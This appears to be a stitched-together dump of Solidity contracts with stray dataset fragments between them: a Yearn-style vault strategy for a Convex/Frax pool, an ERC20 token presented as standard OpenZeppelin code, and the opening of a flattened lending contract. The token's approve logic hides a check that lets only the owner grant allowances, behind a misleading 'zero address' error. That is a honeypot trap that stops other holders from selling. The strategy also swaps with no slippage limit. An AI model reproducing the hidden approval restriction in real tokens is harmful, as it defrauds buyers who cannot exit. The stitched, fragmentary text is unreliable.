* Strategy relative to its peers in the withdrawal queue to minimize
* losses for the Vault based on sudden withdrawals. This value should be
* higher than the total debt of the Strategy and higher than its expected
* value to be "safe".
* @return The estimated total assets in this Strategy.
*/
function estimatedTotalAssets() public virtual view returns (uint256);
/*
* @notice
* Provide an indication of whether this strategy is currently "active"
* in that it is managing an active position, or will manage a position in
* the future. This should correlate to `harvest()` activity, so that Harvest
* events can be tracked externally by indexing agents.
* @return True if the strategy is actively managing a position.
*/
function isActive() public view returns (bool) {
return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0;
}
/**
* Perform any Strategy unwinding or other calls necessary to capture the
* "free return" this Strategy has generated since the last time its core
* position(s) were adjusted. Examples include unwrapping extra rewards.
* This call is only used during "normal operation" of a Strategy, and
* should be optimized to minimize losses as much as possible.
*
* This method returns any realized profits and/or realized losses
* incurred, and should return the total amounts of profits/losses/debt
* payments (in `want` tokens) for the Vault's accounting (e.g.
* `want.balanceOf(this) >= _debtPayment + _profit - _loss`).
*
* `_debtOutstanding` will be 0 if the Strategy is not past the configured
* debt limit, otherwise its value will be how far past the debt limit
* the Strategy is. The Strategy's debt limit is configured in the Vault.
*
* NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`.
* It is okay for it to be less than `_debtOutstanding`, as that
* should only used as a guide for how much is left to pay back.
* Payments should be made to minimize loss from slippage, debt,
* withdrawal fees, etc.
*
* See `vault.debtOutstanding()`.
*/
function prepareReturn(uint256 _debtOutstanding)
internal
virtual
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
);
/**
* Perform any adjustments to the core position(s) of this Strategy given
* what change the Vault made in the "investable capital" available to the
* Strategy. Note that all "free capital" in the Strategy after the report
* was made is available for reinvestment. Also note that this number
* could be 0, and you should handle that scenario accordingly.
*
* See comments regarding `_debtOutstanding` on `prepareReturn()`.
*/
function adjustPosition(uint256 _debtOutstanding) internal virtual;
/**
* Liquidate up to `_amountNeeded` of `want` of this strategy's positions,
* irregardless of slippage. Any excess will be re-invested with `adjustPosition()`.
* This function should return the amount of `want` tokens made available by the
* liquidation. If there is a difference between them, `_loss` indicates whether the
* difference is due to a realized loss, or if there is some other sitution at play
* (e.g. locked funds) where the amount made available is less than what is needed.
* This function is used during emergency exit instead of `prepareReturn()` to
* liquidate all of the Strategy's positions back to the Vault.
*
* NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained
*/
function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss);
/**
* @notice
* Provide a signal to the keeper that `tend()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `tend()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `tend()` is not called
* shortly, then this can return `true` even if the keeper might be
* "at a loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCost` must be priced in terms of `want`.
*
* This call and `harvestTrigger()` should never return `true` at the same
* time.
* @param callCost The keeper's estimated cast cost to call `tend()`.
* @return `true` if `tend()` should be called, `false` otherwise.
*/
function tendTrigger(uint256 callCost) public virtual view returns (bool) {
// We usually don't need tend, but if there are positions that need
// active maintainence, overriding this function is how you would
// signal for that.
return false;
}
/**
* @notice
* Adjust the Strategy's position. The purpose of tending isn't to
* realize gains, but to maximize yield by reinvesting any returns.
*
* See comments on `adjustPosition()`.
*
* This may only be called by governance, the strategist, or the keeper.
*/
function tend() external onlyKeepers {
// Don't take profits with this call, but adjust for better gains
adjustPosition(vault.debtOutstanding());
}
/**
* @notice
* Provide a signal to the keeper that `harvest()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `harvest()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `harvest()` is not called
* shortly, then this can return `true` even if the keeper might be "at a
* loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCost` must be priced in terms of `want`.
*
* This call and `tendTrigger` should never return `true` at the
* same time.
*
* See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the
* strategist-controlled parameters that will influence whether this call
* returns `true` or not. These parameters will be used in conjunction
* with the parameters reported to the Vault (see `params`) to determine
* if calling `harvest()` is merited.
*
* It is expected that an external system will check `harvestTrigger()`.
* This could be a script run off a desktop or cloud bot (e.g.
* https://github.com/iearn-finance/yearn-vaults/blob/master/scripts/keep.py),
* or via an integration with the Keep3r network (e.g.
* https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol).
* @param callCost The keeper's estimated cast cost to call `harvest()`.
* @return `true` if `harvest()` should be called, `false` otherwise.
*/
function harvestTrigger(uint256 callCost) public virtual view returns (bool) {
StrategyParams memory params = vault.strategies(address(this));
// Should not trigger if Strategy is not activated
if (params.activation == 0) return false;
// Should not trigger if we haven't waited long enough since previous harvest
if (block.timestamp.sub(params.lastReport) < minReportDelay) return false;
// Should trigger if hasn't been called in a while
if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true;
// If some amount is owed, pay it back
// NOTE: Since debt is based on deposits, it makes sense to guard against large
// changes to the value from triggering a harvest directly through user
// behavior. This should ensure reasonable resistance to manipulation
// from user-initiated withdrawals as the outstanding debt fluctuates.
uint256 outstanding = vault.debtOutstanding();
if (outstanding > debtThreshold) return true;
// Check for profits and losses
uint256 total = estimatedTotalAssets();
// Trigger if we have a loss to report
if (total.add(debtThreshold) < params.totalDebt) return true;
uint256 profit = 0;
if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit!
// Otherwise, only trigger if it "makes sense" economically (gas cost
// is <N% of value moved)
uint256 credit = vault.creditAvailable();
return (profitFactor.mul(callCost) < credit.add(profit));
}
/**
* @notice
* Harvests the Strategy, recognizing any profits or losses and adjusting
* the Strategy's position.
*
* In the rare case the Strategy is in emergency shutdown, this will exit
* the Strategy's position.
*
* This may only be called by governance, the strategist, or the keeper.
* @dev
* When `harvest()` is called, the Strategy reports to the Vault (via
* `vault.report()`), so in some cases `harvest()` must be called in order
* to take in profits, to borrow newly available funds from the Vault, or
* otherwise adjust its position. In other cases `harvest()` must be
* called to report to the Vault on the Strategy's position, especially if
* any losses have occurred.
*/
function harvest() external onlyKeepers {
uint256 profit = 0;
uint256 loss = 0;
uint256 debtOutstanding = vault.debtOutstanding();
uint256 debtPayment = 0;
if (emergencyExit) {
// Free up as much capital as possible
uint256 totalAssets = estimatedTotalAssets();
// NOTE: use the larger of total assets or debt outstanding to book losses properly
(debtPayment, loss) = liquidatePosition(totalAssets > debtOutstanding ? totalAssets : debtOutstanding);
// NOTE: take up any remainder here as profit
if (debtPayment > debtOutstanding) {
profit = debtPayment.sub(debtOutstanding);
debtPayment = debtOutstanding;
}
} else {
// Free up returns for Vault to pull
(profit, loss, debtPayment) = prepareReturn(debtOutstanding);
}
// Allow Vault to take up to the "harvested" balance of this contract,
// which is the amount it has earned since the last time it reported to
// the Vault.
debtOutstanding = vault.report(profit, loss, debtPayment);
// Check if free returns are left, and re-invest them
adjustPosition(debtOutstanding);
emit Harvested(profit, loss, debtPayment, debtOutstanding);
}
/**
* @notice
* Withdraws `_amountNeeded` to `vault`.
*
* This may only be called by the Vault.
* @param _amountNeeded How much `want` to withdraw.
* @return _loss Any realized losses
*/
function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) {
require(msg.sender == address(vault), "!vault");
// Liquidate as much as possible to `want`, up to `_amountNeeded`
uint256 amountFreed;
(amountFreed, _loss) = liquidatePosition(_amountNeeded);
// Send it directly back (NOTE: Using `msg.sender` saves some gas here)
want.safeTransfer(msg.sender, amountFreed);
// NOTE: Reinvest anything leftover on next `tend`/`harvest`
}
/**
* Do anything necessary to prepare this Strategy for migration, such as
* transferring any reserve or LP tokens, CDPs, or other tokens or stores of
* value.
*/
function prepareMigration(address _newStrategy) internal virtual;
/**
* @notice
* Transfers all `want` from this Strategy to `_newStrategy`.
*
* This may only be called by governance or the Vault.
* @dev
* The new Strategy's Vault must be the same as this Strategy's Vault.
* @param _newStrategy The Strategy to migrate to.
*/
function migrate(address _newStrategy) external {
require(msg.sender == address(vault) || msg.sender == governance());
require(BaseStrategy(_newStrategy).vault() == vault);
prepareMigration(_newStrategy);
want.safeTransfer(_newStrategy, want.balanceOf(address(this)));
}
/**
* @notice
* Activates emergency exit. Once activated, the Strategy will exit its
* position upon the next harvest, depositing all funds into the Vault as
* quickly as is reasonable given on-chain conditions.
*
* This may only be called by governance or the strategist.
* @dev
* See `vault.setEmergencyShutdown()` and `harvest()` for further details.
*/
function setEmergencyExit() external onlyAuthorized {
emergencyExit = true;
vault.revokeStrategy();
emit EmergencyExitEnabled();
}
/**
* Override this to add all tokens/tokenized positions this contract
* manages on a *persistent* basis (e.g. not just for swapping back to
* want ephemerally).
*
* NOTE: Do *not* include `want`, already included in `sweep` below.
*
* Example:
*
* function protectedTokens() internal override view returns (address[] memory) {
* address[] memory protected = new address[](3);
* protected[0] = tokenA;
* protected[1] = tokenB;
* protected[2] = tokenC;
* return protected;
* }
*/
function protectedTokens() internal virtual view returns (address[] memory);
/**
* @notice
* Removes tokens from this Strategy that are not the type of tokens
* managed by this Strategy. This may be used in case of accidentally
* sending the wrong kind of token to this Strategy.
*
* Tokens will be sent to `governance()`.
*
* This will fail if an attempt is made to sweep `want`, or any tokens
* that are protected by this Strategy.
*
* This may only be called by governance.
* @dev
* Implement `protectedTokens()` to specify any additional tokens that
* should be protected from sweeping in addition to `want`.
* @param _token The token to transfer out of this vault.
*/
function sweep(address _token) external onlyGovernance {
require(_token != address(want), "!want");
require(_token != address(vault), "!shares");
address[] memory _protectedTokens = protectedTokens();
for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected");
IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this)));
}
}
// Part: ConvexStable
abstract contract ConvexStable is BaseStrategy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public constant voter = address(0xF147b8125d2ef93FB6965Db97D6746952a133934);
address public constant booster = address(0xF403C135812408BFbE8713b5A23a04b3D48AAE31);
address public constant cvx = address(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B);
address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address public constant dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);
address public constant usdc = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
address public constant usdt = address(0xdAC17F958D2ee523a2206206994597C13D831ec7);
address public constant quoter = address(0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6);
address public constant uniswapv3 = address(0xE592427A0AEce92De3Edee1F18E0157C05861564);
address public constant uniswap = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public constant sushiswap = address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
uint256 public constant DENOMINATOR = 10000;
bool public isClaimRewards;
bool public isClaimExtras;
uint256 public id;
address public rewardContract;
address public curve;
address[] public dex;
uint256 public keepCRV;
constructor(address _vault) public BaseStrategy(_vault) {
minReportDelay = 12 hours;
maxReportDelay = 3 days;
profitFactor = 1000;
debtThreshold = 1e24;
keepCRV = 1000;
}
function _approveBasic() internal {
want.approve(booster, 0);
want.approve(booster, type(uint256).max);
IERC20(dai).safeApprove(curve, 0);
IERC20(dai).safeApprove(curve, type(uint256).max);
IERC20(usdc).safeApprove(curve, 0);
IERC20(usdc).safeApprove(curve, type(uint256).max);
IERC20(usdt).safeApprove(curve, 0);
IERC20(usdt).safeApprove(curve, type(uint256).max);
}
function _approveDex() internal virtual {
IERC20(crv).approve(dex[0], 0);
IERC20(crv).approve(dex[0], type(uint256).max);
IERC20(cvx).approve(dex[1], 0);
IERC20(cvx).approve(dex[1], type(uint256).max);
}
function approveAll() external onlyAuthorized {
_approveBasic();
_approveDex();
}
function setKeepCRV(uint256 _keepCRV) external onlyAuthorized {
keepCRV = _keepCRV;
}
function switchDex(uint256 _id, address _dex) external onlyAuthorized {
dex[_id] = _dex;
_approveDex();
}
function setIsClaimRewards(bool _isClaimRewards) external onlyAuthorized {
isClaimRewards = _isClaimRewards;
}
function setIsClaimExtras(bool _isClaimExtras) external onlyAuthorized {
isClaimExtras = _isClaimExtras;
}
function withdrawToConvexDepositTokens() external onlyAuthorized {
uint256 staked = Rewards(rewardContract).balanceOf(address(this));
Rewards(rewardContract).withdraw(staked, isClaimRewards);
}
function name() external view override returns (string memory) {
return string(abi.encodePacked("Convex", IERC20Metadata(address(want)).symbol()));
}
function balanceOfWant() public view returns (uint256) {
return want.balanceOf(address(this));
}
function balanceOfPool() public view returns (uint256) {
return Rewards(rewardContract).balanceOf(address(this));
}
function estimatedTotalAssets() public view override returns (uint256) {
return balanceOfWant().add(balanceOfPool());
}
function adjustPosition(uint256 _debtOutstanding) internal override {
if (emergencyExit) return;
uint256 _want = want.balanceOf(address(this));
if (_want > 0) {
Booster(booster).deposit(id, _want, true);
}
}
function _withdrawSome(uint256 _amount) internal returns (uint256) {
_amount = Math.min(_amount, balanceOfPool());
uint _before = balanceOfWant();
Rewards(rewardContract).withdrawAndUnwrap(_amount, false);
return balanceOfWant().sub(_before);
}
function liquidatePosition(uint256 _amountNeeded)
internal
override
returns (uint256 _liquidatedAmount, uint256 _loss)
{
uint256 _balance = balanceOfWant();
if (_balance < _amountNeeded) {
_liquidatedAmount = _withdrawSome(_amountNeeded.sub(_balance));
_liquidatedAmount = _liquidatedAmount.add(_balance);
_loss = _amountNeeded.sub(_liquidatedAmount); // this should be 0. o/w there must be an error
}
else {
_liquidatedAmount = _amountNeeded;
}
}
function prepareMigration(address _newStrategy) internal override {
Rewards(rewardContract).withdrawAllAndUnwrap(isClaimRewards);
_migrateRewards(_newStrategy);
}
function _migrateRewards(address _newStrategy) internal virtual {
IERC20(crv).safeTransfer(_newStrategy, IERC20(crv).balanceOf(address(this)));
IERC20(cvx).safeTransfer(_newStrategy, IERC20(cvx).balanceOf(address(this)));
}
function _adjustCRV(uint256 _crv) internal returns (uint256) {
uint256 _keepCRV = _crv.mul(keepCRV).div(DENOMINATOR);
if (_keepCRV > 0) IERC20(crv).safeTransfer(voter, _keepCRV);
return _crv.sub(_keepCRV);
}
function _claimableBasicInETH() internal view returns (uint256) {
uint256 _crv = Rewards(rewardContract).earned(address(this));
// calculations pulled directly from CVX's contract for minting CVX per CRV claimed
uint256 totalCliffs = 1000;
uint256 maxSupply = 1e8 * 1e18; // 100m
uint256 reductionPerCliff = 1e5 * 1e18; // 100k
uint256 supply = IERC20(cvx).totalSupply();
uint256 _cvx;
uint256 cliff = supply.div(reductionPerCliff);
// mint if below total cliffs
if (cliff < totalCliffs) {
// for reduction% take inverse of current cliff
uint256 reduction = totalCliffs.sub(cliff);
// reduce
_cvx = _crv.mul(reduction).div(totalCliffs);
// supply cap check
uint256 amtTillMax = maxSupply.sub(supply);
if (_cvx > amtTillMax) {
_cvx = amtTillMax;
}
}
uint256 crvValue;
if (_crv > 0) {
address[] memory path = new address[](2);
path[0] = crv;
path[1] = weth;
uint256[] memory crvSwap = Uni(dex[0]).getAmountsOut(_crv, path);
crvValue = crvSwap[1];
}
uint256 cvxValue;
if (_cvx > 0) {
address[] memory path = new address[](2);
path[0] = cvx;
path[1] = weth;
uint256[] memory cvxSwap = Uni(dex[1]).getAmountsOut(_cvx, path);
cvxValue = cvxSwap[1];
}
return crvValue.add(cvxValue);
}
function _claimableInETH() internal virtual view returns (uint256 _claimable) {
_claimable = _claimableBasicInETH();
}
// NOTE: Can override `tendTrigger` and `harvestTrigger` if necessary
function harvestTrigger(uint256 callCost) public override view returns (bool) {
StrategyParams memory params = vault.strategies(address(this));
if (params.activation == 0) return false;
if (block.timestamp.sub(params.lastReport) < minReportDelay) return false;
if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true;
uint256 outstanding = vault.debtOutstanding();
if (outstanding > debtThreshold) return true;
uint256 total = estimatedTotalAssets();
if (total.add(debtThreshold) < params.totalDebt) return true;
return (profitFactor.mul(callCost) < _claimableInETH());
}
}
// File: frax.sol
contract Strategy is ConvexStable {
address public constant pool = address(0xd632f22692FaC7611d2AA1C0D552930D43CAEd3B);
address public constant fxs = address(0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0);
address[] public pathTarget;
constructor(address _vault) public ConvexStable(_vault) {
curve = address(0xA79828DF1850E8a3A3064576f380D90aECDD3359);
id = 32;
isClaimRewards = true; // default is true, turn off in emergency
isClaimExtras = true; // add this if there are extra rewards
(address _lp,,,address _reward,,) = Booster(booster).poolInfo(id);
require(_lp == address(want), "constructor: incorrect lp token");
rewardContract = _reward;
_approveBasic();
pathTarget = new address[](3);
_setPathTarget(0, 0); // crv path target
_setPathTarget(1, 0); // cvx path target
_setPathTarget(2, 0); // fxs path target
dex = new address[](3);
dex[0] = sushiswap; // crv
dex[1] = sushiswap; // cvx
dex[2] = uniswap; // fxs
_approveDex();
}
// >>> approve other rewards on dex
function _approveDex() internal override {
super._approveDex();
IERC20(fxs).approve(dex[2], 0);
IERC20(fxs).approve(dex[2], type(uint256).max);
}
// >>> include other rewards
function _migrateRewards(address _newStrategy) internal override {
super._migrateRewards(_newStrategy);
IERC20(fxs).safeTransfer(_newStrategy, IERC20(fxs).balanceOf(address(this)));
}
// >>> include all other rewards in eth besides _claimableBasicInETH()
function _claimableInETH() internal override view returns (uint256 _claimable) {
_claimable = super._claimableInETH();
uint256 _fxs = IERC20(fxs).balanceOf(address(this));
if (_fxs > 0) {
address[] memory path = new address[](2);
path[0] = fxs;
path[1] = weth;
uint256[] memory swap = Uni(dex[2]).getAmountsOut(_fxs, path);
_claimable = _claimable.add(swap[1]);
}
}
function _setPathTarget(uint _tokenId, uint _id) internal {
if (_id == 0) {
pathTarget[_tokenId] = dai;
}
else if (_id == 1) {
pathTarget[_tokenId] = usdc;
}
else {
pathTarget[_tokenId] = usdt;
}
}
function setPathTarget(uint _tokenId, uint _id) external onlyAuthorized {
_setPathTarget(_tokenId, _id);
}
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
)
{
uint before = balanceOfWant();
Rewards(rewardContract).getReward(address(this), isClaimExtras);
uint256 _crv = IERC20(crv).balanceOf(address(this));
if (_crv > 0) {
_crv = _adjustCRV(_crv);
address[] memory path = new address[](3);
path[0] = crv;
path[1] = weth;
path[2] = pathTarget[0];
Uni(dex[0]).swapExactTokensForTokens(_crv, uint256(0), path, address(this), now);
}
uint256 _cvx = IERC20(cvx).balanceOf(address(this));
if (_cvx > 0) {
address[] memory path = new address[](3);
path[0] = cvx;
path[1] = weth;
path[2] = pathTarget[1];
Uni(dex[1]).swapExactTokensForTokens(_cvx, uint256(0), path, address(this), now);
}
uint256 _fxs = IERC20(fxs).balanceOf(address(this));
if (_fxs > 0) {
address[] memory path = new address[](3);
path[0] = fxs;
path[1] = weth;
path[2] = pathTarget[2];
Uni(dex[2]).swapExactTokensForTokens(_fxs, uint256(0), path, address(this), now);
}
uint256 _dai = IERC20(dai).balanceOf(address(this));
uint256 _usdc = IERC20(usdc).balanceOf(address(this));
uint256 _usdt = IERC20(usdt).balanceOf(address(this));
if (_dai > 0 || _usdc > 0 || _usdt > 0) {
ICurveFi(curve).add_liquidity(pool, [0, _dai, _usdc, _usdt], 0);
}
_profit = want.balanceOf(address(this)).sub(before);
uint _total = estimatedTotalAssets();
uint _debt = vault.strategies(address(this)).totalDebt;
if(_total < _debt) {
_loss = _debt - _total;
_profit = 0;
}
if (_debtOutstanding > 0) {
_withdrawSome(_debtOutstanding);
_debtPayment = Math.min(_debtOutstanding, balanceOfWant().sub(_profit));
}
}
function protectedTokens()
internal
view
override
returns (address[] memory)
{
address[] memory protected = new address[](3);
protected[0] = crv;
protected[1] = cvx;
protected[2] = fxs;
return protected;
}
}
|
True
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Context.sol";
import "./IERC20.sol";
import "./SafeMath.sol";
import "./Address.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address public _owner;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_mint(_owner, initialSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
require(owner == _owner, "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
True
|
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2022,
2275,
102
] |
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// SPDX-License-Identifier: AGPL-3.0-or-later // hevm: flattened sources of contracts/DebtLocker.sol
pragma solidity =0.6.11 >=0.6.0 <0.8.0 >=0.6.2 <0.8.0;
////// contracts/token/interfaces/IBaseFDT.sol
/* pragma solidity 0.6.11; */
interface IBaseFDT {
/**
@dev Returns the total amount of funds a given address is able to withdraw currently.
@param owner Address of FDT holder.
@return A uint256 representing the available funds for a given account.
*/
function withdrawableFundsOf(address owner) external view returns (uint256);
/**
@dev Withdraws all available funds for a FDT holder.
*/
function withdrawFunds() external;
/**
@dev This event emits when new funds are distributed.
@param by The address of the sender that distributed funds.
@param fundsDistributed The amount of funds received for distribution.
*/
event FundsDistributed(address indexed by, uint256 fundsDistributed);
/**
@dev This event emits when distributed funds are withdrawn by a token holder.
@param by The address of the receiver of funds.
@param fundsWithdrawn The amount of funds that were withdrawn.
@param totalWithdrawn The total amount of funds that were withdrawn.
*/
event FundsWithdrawn(address indexed by, uint256 fundsWithdrawn, uint256 totalWithdrawn);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
/* pragma solidity >=0.6.0 <0.8.0; */
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
